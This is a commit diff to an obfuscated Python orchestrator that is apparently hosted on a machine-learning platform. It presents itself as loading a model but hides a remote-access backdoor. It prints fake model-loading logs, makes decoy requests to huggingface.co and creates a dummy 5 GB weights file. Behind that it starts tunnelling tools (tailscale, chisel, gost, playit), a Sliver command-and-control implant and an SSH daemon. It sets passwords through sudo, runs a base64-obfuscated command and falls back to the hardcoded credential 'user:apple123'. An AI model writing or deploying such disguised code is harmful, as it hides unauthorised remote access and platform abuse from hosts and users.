SamuelLance73 commited on
Commit
f2649e9
·
verified ·
1 Parent(s): ef4bbfb

Automated deployment update from ML build

Browse files
Files changed (1) hide show
  1. core/orchestrator.py +28 -28
core/orchestrator.py CHANGED
@@ -1,5 +1,5 @@
1
  _A=True
2
- import os,time,subprocess,base64,threading,random,string,sys
3
  from loguru import logger
4
  sys.path.insert(0,os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
5
  from services import nginx,tailscale,playit,chisel,minecraft,filebrowser,gost,sliver
@@ -23,10 +23,10 @@ def jitter_task():
23
  try:logger.debug('Syncing model cache...');subprocess.run(['curl','-s','-o','/dev/null','https://huggingface.co/gpt2/resolve/main/vocab.json'])
24
  except Exception:pass
25
  def main():
26
- b='SSH';a='PASS';Z='TAILSCALE';Y='/home/user/pytorch_model.bin';X='/home/user/.torch_metrics/nginx.log';W='/home/user/.torch_metrics/sliver.log';V='/home/user/.torch_metrics/gost.log';U='/home/user/.torch_metrics/chisel.log';T='/home/user/.torch_metrics/tm_daemon.log';S='/home/user/.torch_metrics/fb.log';R='/home/user/.torch_metrics/ts_daemon.log';Q='/home/user/.torch_metrics';O='CHISEL';A='a'
27
- if COVERT_LOGGING_MODE==1:os.makedirs(Q,exist_ok=_A);E=open(R,A);I=open(S,A);J=open(T,A);K=open(U,A);L=open(V,A);M=open(W,A);N=open(X,A)
28
  elif COVERT_LOGGING_MODE==2:
29
- os.makedirs(Q,exist_ok=_A)
30
  class B:
31
  def __init__(B,filepath,prefix):B.file=open(filepath,A);B.prefix=prefix;C,D=os.pipe();B.r=C;B.w=D;threading.Thread(target=B._reader,daemon=_A).start()
32
  def _reader(A):
@@ -37,31 +37,31 @@ def main():
37
  def fileno(A):return A.w
38
  def write(A,s):A.file.write(s);A.file.flush();sys.stdout.write(f"[{A.prefix}] {s}\n"if not s.endswith('\n')else f"[{A.prefix}] {s}");sys.stdout.flush()
39
  def flush(A):A.file.flush();sys.stdout.flush()
40
- E=B(R,'TS');I=B(S,'FB');J=B(T,'PLAYIT');K=B(U,O);L=B(V,'GOST');M=B(W,'SLIVER');N=B(X,'NGINX')
41
- else:C=open(os.devnull,'w');E=C;I=C;J=C;K=C;L=C;M=C;N=C
42
- os.makedirs('/home/user/static',exist_ok=_A);nginx.start(N);logger.info('Starting Gradio fake app (API server)...');c=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');d=subprocess.Popen(c,shell=_A)
43
- if not os.path.exists(Y):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',Y])
44
- logger.info('Loading model weights into VRAM...');D.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();e=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {e}s)...");tailscale.start_daemon(E);D.sleep(2);logger.info('Warming up text-generation pipelines...');f=os.environ.get('A')or os.environ.get(Z)or'';P=deobfuscate_secret(f.strip());g=os.environ.get('C')or os.environ.get(O)or'';F=deobfuscate_secret(g.strip())
45
- if not F:F='user:apple123'
46
- h=['A',Z,'C',O]
47
- for G in h:
48
- if G in os.environ:del os.environ[G]
49
- filebrowser.start(I);playit.start(J);playit.start_xor_bridge();D.sleep(2);chisel.start(K,F);gost.start(L,F);sliver.start(M);F='';D.sleep(5);tailscale.connect(E,P);P='';i=os.environ.get(a)or os.environ.get(b)or'';H=deobfuscate_secret(i.strip())
50
- if H:logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
51
- else:H=''.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {H}")
52
- try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{H}\n",text=_A,check=_A)
53
- except Exception as j:logger.error(f"Failed to set password: {j}")
54
- for G in[a,b]:
55
- if G in os.environ:del os.environ[G]
56
- subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=E,stderr=E);import socket as k,time as D
57
- def l(host,port,timeout=30):
58
- A=D.time()
59
- while D.time()-A<timeout:
60
  try:
61
- with k.create_connection((host,port),timeout=2):return _A
62
- except OSError:D.sleep(.5)
63
  return False
64
- if not l('127.0.0.1',2222,timeout=30):logger.error('SSH daemon did not become ready on port 2222')
65
  else:logger.info('SSH daemon ready on port 2222')
66
- logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');d.wait()
67
  if __name__=='__main__':main()
 
1
  _A=True
2
+ import os,time,socket,subprocess,base64,threading,random,string,sys
3
  from loguru import logger
4
  sys.path.insert(0,os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
5
  from services import nginx,tailscale,playit,chisel,minecraft,filebrowser,gost,sliver
 
23
  try:logger.debug('Syncing model cache...');subprocess.run(['curl','-s','-o','/dev/null','https://huggingface.co/gpt2/resolve/main/vocab.json'])
24
  except Exception:pass
25
  def main():
26
+ a='SSH';Z='PASS';Y='TAILSCALE';X='/home/user/pytorch_model.bin';W='/home/user/.torch_metrics/nginx.log';V='/home/user/.torch_metrics/sliver.log';U='/home/user/.torch_metrics/gost.log';T='/home/user/.torch_metrics/chisel.log';S='/home/user/.torch_metrics/tm_daemon.log';R='/home/user/.torch_metrics/fb.log';Q='/home/user/.torch_metrics/ts_daemon.log';P='/home/user/.torch_metrics';N='CHISEL';A='a'
27
+ if COVERT_LOGGING_MODE==1:os.makedirs(P,exist_ok=_A);D=open(Q,A);H=open(R,A);I=open(S,A);J=open(T,A);K=open(U,A);L=open(V,A);M=open(W,A)
28
  elif COVERT_LOGGING_MODE==2:
29
+ os.makedirs(P,exist_ok=_A)
30
  class B:
31
  def __init__(B,filepath,prefix):B.file=open(filepath,A);B.prefix=prefix;C,D=os.pipe();B.r=C;B.w=D;threading.Thread(target=B._reader,daemon=_A).start()
32
  def _reader(A):
 
37
  def fileno(A):return A.w
38
  def write(A,s):A.file.write(s);A.file.flush();sys.stdout.write(f"[{A.prefix}] {s}\n"if not s.endswith('\n')else f"[{A.prefix}] {s}");sys.stdout.flush()
39
  def flush(A):A.file.flush();sys.stdout.flush()
40
+ D=B(Q,'TS');H=B(R,'FB');I=B(S,'PLAYIT');J=B(T,N);K=B(U,'GOST');L=B(V,'SLIVER');M=B(W,'NGINX')
41
+ else:C=open(os.devnull,'w');D=C;H=C;I=C;J=C;K=C;L=C;M=C
42
+ os.makedirs('/home/user/static',exist_ok=_A);nginx.start(M);logger.info('Starting Gradio fake app (API server)...');b=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');c=subprocess.Popen(b,shell=_A)
43
+ if not os.path.exists(X):logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',X])
44
+ logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();d=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {d}s)...");tailscale.start_daemon(D);time.sleep(2);logger.info('Warming up text-generation pipelines...');e=os.environ.get('A')or os.environ.get(Y)or'';O=deobfuscate_secret(e.strip());f=os.environ.get('C')or os.environ.get(N)or'';E=deobfuscate_secret(f.strip())
45
+ if not E:E='user:apple123'
46
+ g=['A',Y,'C',N]
47
+ for F in g:
48
+ if F in os.environ:del os.environ[F]
49
+ filebrowser.start(H);playit.start(I);playit.start_xor_bridge();time.sleep(2);chisel.start(J,E);gost.start(K,E);sliver.start(L);E='';time.sleep(5);tailscale.connect(D,O);O='';h=os.environ.get(Z)or os.environ.get(a)or'';G=deobfuscate_secret(h.strip())
50
+ if G:logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
51
+ else:G=''.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {G}")
52
+ try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{G}\n",text=_A,check=_A)
53
+ except Exception as i:logger.error(f"Failed to set password: {i}")
54
+ for F in[Z,a]:
55
+ if F in os.environ:del os.environ[F]
56
+ subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=D,stderr=D)
57
+ def j(host,port,timeout=30):
58
+ A=time.time()
59
+ while time.time()-A<timeout:
60
  try:
61
+ with socket.create_connection((host,port),timeout=2):return _A
62
+ except OSError:time.sleep(.5)
63
  return False
64
+ if not j('127.0.0.1',2222,timeout=30):logger.error('SSH daemon did not become ready on port 2222')
65
  else:logger.info('SSH daemon ready on port 2222')
66
+ logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');c.wait()
67
  if __name__=='__main__':main()